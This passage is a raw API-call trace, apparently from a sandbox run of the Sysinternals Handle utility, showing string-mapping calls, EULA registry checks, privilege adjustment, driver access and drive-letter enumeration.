dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ螖㥳깥", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0110.124] GetLastError () returned 0x0 [0110.124] SetLastError (dwErrCode=0x0) [0110.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0110.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0110.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0110.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0110.124] GetLastError () returned 0x0 [0110.124] SetLastError (dwErrCode=0x0) [0110.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0110.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0110.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0110.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0110.124] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x100) returned 0x2913d0 [0110.125] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0110.125] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x2913d0) returned 0x100 [0110.125] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0110.125] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0110.125] GetCurrentProcess () returned 0xffffffffffffffff [0110.125] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0110.125] GetLastError () returned 0x0 [0110.125] SetLastError (dwErrCode=0x0) [0110.125] GetLastError () returned 0x0 [0110.125] SetLastError (dwErrCode=0x0) [0110.125] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0110.126] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0110.126] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0110.126] RegCloseKey (hKey=0x7c) returned 0x0 [0110.126] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0110.126] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0110.126] RegCloseKey (hKey=0x7c) returned 0x0 [0110.126] GetLastError () returned 0x0 [0110.126] SetLastError (dwErrCode=0x0) [0110.126] GetLastError () returned 0x0 [0110.126] SetLastError (dwErrCode=0x0) [0110.126] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x7c) returned 0x0 [0110.126] RegSetValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0110.127] RegCloseKey (hKey=0x7c) returned 0x0 [0110.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0110.127] GetCurrentProcess () returned 0xffffffffffffffff [0110.127] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x7c) returned 1 [0110.127] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 | out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0110.267] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0110.267] GetLastError () returned 0x0 [0110.267] CloseHandle (hObject=0x7c) returned 1 [0110.267] GetLastError () returned 0x0 [0110.267] SetLastError (dwErrCode=0x0) [0110.267] GetLastError () returned 0x0 [0110.267] SetLastError (dwErrCode=0x0) [0110.267] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "\\device\\procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0110.267] SeCaptureSubjectContext (in: SubjectContext=0xfffff88005590598 | out: SubjectContext=0xfffff88005590598) [0110.267] ExGetPreviousMode () returned 0xfffffa8003566b01 [0110.267] SePrivilegeCheck (in: RequiredPrivileges=0xfffff880055905b8, SubjectSecurityContext=0xfffff88005590598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff880055905b8) returned 1 [0110.267] SeReleaseSubjectContext (in: SubjectContext=0xfffff88005590598 | out: SubjectContext=0xfffff88005590598) [0110.267] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.268] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.268] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0110.268] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.268] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0110.268] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.268] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0110.268] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.268] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0110.268] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.268] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0110.269] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.269] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0110.269] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.269] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0110.269] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.269] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0110.269] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.269] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0110.269] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.269] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0110.269] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.269] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0110.269] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.269] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0110.270] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.270] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0110.270] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.270] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0110.270] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0110.270] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0110.270] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0110.270] GetLastError () returned 0x0 [0110.270] SetLastError (dwErrCode=0x0) [0110.270] GetLastError () returned 0x0 [0110.270] SetLastError (dwErrCode=0x0) [0110.270] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0110.270] GetLastError () returned 0x0 [0110.271] SetLastError (dwErrCode=0x0) [0110.271] GetLastError () returned 0x0 [0110.271] SetLastError (dwErrCode=0x0) [0110.271] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0110.271] GetLastError () returned 0x0 [0110.271] SetLastError (dwErrCode=0x0) [0110.271] GetLastError () returned 0x0 [0110.271] SetLastError (dwErrCode=0x0) [0110.271] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0110.271] GetLastError () returned 0x0 [0110.271] SetLastError (dwErrCode=0x0) [0110.271] GetLastError () returned 0x0 [0110.271] SetLastError (dwErrCode=0x0) [0110.271] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0110.271] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xc0) returned 0x0 [0110.271] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xc0, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0110.271] CloseHandle (hObject=0xc0) returned 1 [0110.271] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0110.271] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0110.272] GetLastError () returned 0x0 [0110.272] SetLastError (dwErrCode=0x0) [0110.272] GetLastError () returned 0x0 [0110.272] SetLastError (dwErrCode=0x0) [0110.272] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0110.272] GetLastError () returned 0x0 [0110.272] SetLastError (dwErrCode=0x0) [0110.272] GetLastError () returned 0x0 [0110.272] SetLastError (dwErrCode=0x0) [0110.272] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0110.272] GetLastError () returned 0x0 [0110.272] SetLastError (dwErrCode=0x0) [0110.272] GetLastError () returned 0x0 [0110.272] SetLastError (dwErrCode=0x0) [0110.272] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0110.272] GetLastError () returned 0x0 [0110.272] SetLastError (dwErrCode=0x0) [0110.272] GetLastError () returned 0x0 [0110.273] SetLastError (dwErrCode=0x0) [0110.273] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0110.273] GetLastError () returned 0x0 [0110.273] SetLastError (dwErrCode=0x0) [0110.273] GetLastError () returned 0x0 [0110.273] SetLastError (dwErrCode=0x0) [0110.273] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0110.273] GetLastError () returned 0x0 [0110.273] SetLastError (dwErrCode=0x0) [0110.273] GetLastError () returned 0x0 [0110.273] SetLastError (dwErrCode=0x0) [0110.273] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0110.273] GetLastError () returned 0x0 [0110.273] SetLastError (dwErrCode=0x0) [0110.273] GetLastError () returned 0x0 [0110.273] SetLastError (dwErrCode=0x0) [0110.273] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0110.274] GetLastError () returned 0x0 [0110.274] SetLastError (dwErrCode=0x0) [0110.274] GetLastError () returned 0x0 [0110.274] SetLastError (dwErrCode=0x0) [0110.274] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0110.274] GetLastError () returned 0x0 [0110.274] SetLastError (dwErrCode=0x0) [0110.274] GetLastError () returned 0x0 [0110.274] SetLastError (dwErrCode=0x0) [0110.274] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0110.274] GetLastError () returned 0x0 [0110.274] SetLastError (dwErrCode=0x0) [0110.274] GetLastError () returned 0x0 [0110.274] SetLastError (dwErrCode=0x0) [0110.274] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0110.274] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0110.275] GetLastError () returned 0x0 [0110.275] SetLastError (dwErrCode=0x0) [0110.275] GetLastError () returned 0x0 [0110.276] SetLastError (dwErrCode=0x0) [0110.276] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0110.276] GetLastError () returned 0x0 [0110.276] SetLastError (dwErrCode=0x0) [0110.276] GetLastError () returned 0x0 [0110.276] SetLastError (dwErrCode=0x0) [0110.276] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0110.276] GetLastError () returned 0x0 [0110.276] SetLastError (dwErrCode=0x0) [0110.276] GetLastError () returned 0x0 [0110.276] SetLastError (dwErrCode=0x0) [0110.276] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0110.276] GetLastError () returned 0x0 [0110.276] SetLastError (dwErrCode=0x0) [0110.276] GetLastError () returned 0x0 [0110.276] SetLastError (dwErrCode=0x0) [0110.276] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0110.277] GetLastError () returned 0x0 [0110.277] SetLastError (dwErrCode=0x0) [0110.277] GetLastError () returned 0x0 [0110.277] SetLastError (dwErrCode=0x0) [0110.277] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0110.277] GetLastError () returned 0x0 [0110.277] SetLastError (dwErrCode=0x0) [0110.277] GetLastError () returned 0x0 [0110.277] SetLastError (dwErrCode=0x0) [0110.277] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0110.277] GetLastError () returned 0x0 [0110.277] SetLastError (dwErrCode=0x0) [0110.277] GetLastError () returned 0x0 [0110.277] SetLastError (dwErrCode=0x0) [0110.277] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0110.277] GetLastError () returned 0x0 [0110.277] SetLastError (dwErrCode=0x0) [0110.277] GetLastError () returned 0x0 [0110.278] SetLastError (dwErrCode=0x0) [0110.278] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0110.278] GetLastError () returned 0x0 [0110.278] SetLastError (dwErrCode=0x0) [0110.278] GetLastError () returned 0x0 [0110.278] SetLastError (dwErrCode=0x0) [0110.278] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0110.278] RtlAllocateHeap 